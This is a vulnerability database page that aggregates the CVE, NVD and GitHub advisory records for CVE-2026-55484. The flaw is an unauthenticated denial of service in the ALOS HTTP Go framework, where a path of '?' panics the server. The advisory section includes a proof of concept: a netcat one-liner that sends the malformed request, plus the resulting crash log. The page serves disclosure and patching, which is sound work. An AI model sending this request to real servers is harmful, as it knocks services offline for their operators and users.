Vulnerability-Lookup

CVE-2026-55484 (GCVE-0-2026-55484)

Vulnerability from cvelistv5 – Published: 2026-08-28 19:19 – Updated: 2026-08-28 20:00

Title

ALOS HTTP: Unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server

Summary

ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-28 20:00 UTC

CWE

CWE-248 - Uncaught Exception
CWE-754 - Improper Check for Unusual or Exceptional Conditions

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/guno1928/alos-http/security/ad…	x_refsource_CONFIRM
https://github.com/guno1928/alos-http/commit/314b…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
guno1928	alos-http	Affected: < 0.0.0-20260617230736-314b6783e196	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55484",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-28T20:00:20.302427Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-28T20:00:26.302Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "alos-http",
          "vendor": "guno1928",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.0.0-20260617230736-314b6783e196"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-248",
              "description": "CWE-248: Uncaught Exception",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-754",
              "description": "CWE-754: Improper Check for Unusual or Exceptional Conditions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T19:19:19.749Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj"
        },
        {
          "name": "https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374"
        }
      ],
      "source": {
        "advisory": "GHSA-hr6j-w4mw-g9mj",
        "discovery": "UNKNOWN"
      },
      "title": "ALOS HTTP: Unauthenticated remote DoS: malformed path starting with \"?\" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55484",
    "datePublished": "2026-08-28T19:19:19.749Z",
    "dateReserved": "2026-06-16T22:28:27.061Z",
    "dateUpdated": "2026-08-28T20:00:26.302Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55484",
      "date": "2026-09-16",
      "epss": "0.00343",
      "percentile": "0.27722"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-55484\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-28T20:18:27.513\",\"lastModified\":\"2026-09-09T21:09:13.080\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"guno1928\",\"product\":\"alos-http\",\"versions\":[{\"version\":\"\u003c 0.0.0-20260617230736-314b6783e196\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-28T20:00:20.302427Z\",\"id\":\"CVE-2026-55484\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-248\"},{\"lang\":\"en\",\"value\":\"CWE-754\"}]}],\"references\":[{\"url\":\"https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "suse_vex": {
      "aggregate_severity": "important",
      "current_release_date": "2026-09-09T00:16:43Z",
      "cve": "CVE-2026-55484",
      "id": "CVE-2026-55484",
      "initial_release_date": "2026-09-09T00:16:43Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-55484",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-55484.json",
      "version": "2"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-55484\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-28T20:00:20.302427Z\"}}}], \"references\": [{\"url\": \"https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-28T20:00:07.479Z\"}}], \"cna\": {\"title\": \"ALOS HTTP: Unauthenticated remote DoS: malformed path starting with \\\"?\\\" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server\", \"source\": {\"advisory\": \"GHSA-hr6j-w4mw-g9mj\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"guno1928\", \"product\": \"alos-http\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 0.0.0-20260617230736-314b6783e196\"}]}], \"references\": [{\"url\": \"https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj\", \"name\": \"https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374\", \"name\": \"https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-248\", \"description\": \"CWE-248: Uncaught Exception\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-754\", \"description\": \"CWE-754: Improper Check for Unusual or Exceptional Conditions\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-28T19:19:19.749Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-55484\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-28T20:00:26.302Z\", \"dateReserved\": \"2026-06-16T22:28:27.061Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-28T19:19:19.749Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55484

Vulnerability from fkie_nvd - Published: 2026-08-28 20:18 - Updated: 2026-09-09 21:09

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374
	security-advisories@github.com	https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "alos-http",
          "vendor": "guno1928",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.0.0-20260617230736-314b6783e196"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196."
    }
  ],
  "id": "CVE-2026-55484",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55484",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-28T20:00:20.302427Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T20:18:27.513",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-248"
        },
        {
          "lang": "en",
          "value": "CWE-754"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-HR6J-W4MW-G9MJ

Vulnerability from github – Published: 2026-08-28 19:19 – Updated: 2026-08-28 19:19

Summary

alos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server

Details

Summary

A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled

Details

root cause: core/utils.go::sanitizeRequestPath

// assume path := "?"
if len(path) == 0 { // len(path) == 1
    return "/"
}

p, _ := splitPathQuery(path) // p == ""

if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
    return p
}

when the path starts with "?" len(path) is not 0 so the early return does not fire
after splitPathQuery p is empty ""
p is then indexed p[0] without a length check

Relevant calling sites:

h1_plain.go:ParseH1RequestHead (HTTP/1.1)
h1.go::ParseH1Request (dead code)
hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2)
hpack.go::observeHeader (HTTP/2)
h3_conn.go::handleRequestStream (HTTP/3)

these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic

PoC

Minimal server, using the quick-start

srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())

Crash it with a single request

printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080

Server output & crash

2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0

goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
        /home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2

all subsequent requests now fail, since the server is down

Impact

Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/guno1928/alos-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260617230736-314b6783e196"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:19:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA single unauthenticated HTTP request to a path starting with `?` (e.g. `GET ? HTTP/1.1`) crashes the entire server process.\nThe request line parser passes the path to `sanitizeRequestPath` which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so `core.Recovery()` does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if `ListenAndServeQUIC` is enabled\n\n### Details\n**root cause**: `core/utils.go::sanitizeRequestPath`\n```go\n// assume path := \"?\"\nif len(path) == 0 { // len(path) == 1\n\treturn \"/\"\n}\n\np, _ := splitPathQuery(path) // p == \"\"\n\nif p[0] == \u0027/\u0027 /*...*/ { // p[0] on empty string =\u003e panic: index out of range\n\treturn p\n}\n```\n\n* when the path starts with \"?\" len(path) is not 0 so the early return does not fire\n* after `splitPathQuery` `p` is empty `\"\"`\n* `p` is then indexed `p[0]` without a length check\n\nRelevant calling sites:\n\n* `h1_plain.go:ParseH1RequestHead` (HTTP/1.1)\n* `h1.go::ParseH1Request` (dead code)\n* `hpack.go::decodeSimpleGetPathHTTPSRequest` (HTTP/2)\n* `hpack.go::observeHeader` (HTTP/2)\n* `h3_conn.go::handleRequestStream` (HTTP/3)\n\nthese run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic\n\n### PoC\n\nMinimal server, using [the quick-start](https://github.com/guno1928/alos-http#quick-start)\n\n```go\nsrv := core.New(core.Config{Addr: \":8080\", PlainHTTP: true})\nsrv.Router.Use(core.Recovery()) // is unable to catch a parser panic\nsrv.Router.GET(\"/\", func(req *core.Request, resp *core.Response) { resp.Status(200).String(\"not crashed (yet)\") })\nlog.Fatal(srv.ListenAndServe())\n```\n\nCrash it with a single request\n\n```bash\nprintf \u0027GET ? HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n\u0027 | nc 127.0.0.1 8080\n```\n\nServer output \u0026 crash\n\n```log\n2026/06/11 20:52:52 listening on http://localhost:8080\n2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false =\u003e use-ktls=false\n2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)\n2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===\n2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))\n2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 34 [running]:\ngithub.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})\n        /home/baloo/alos-http/core/utils.go:566 +0x64a\ngithub.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)\n        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a\ngithub.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69\ncreated by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a\nexit status 2\n```\n\nall subsequent requests now fail, since the server is down\n\n### Impact\n\nUnauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request.\nRepeating this process keeps the service offline. \nThere is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)",
  "id": "GHSA-hr6j-w4mw-g9mj",
  "modified": "2026-08-28T19:19:38Z",
  "published": "2026-08-28T19:19:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guno1928/alos-http"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "alos-http has unauthenticated remote DoS: malformed path starting with \"?\" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55484 (GCVE-0-2026-55484)

FKIE_CVE-2026-55484

GHSA-HR6J-W4MW-G9MJ

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour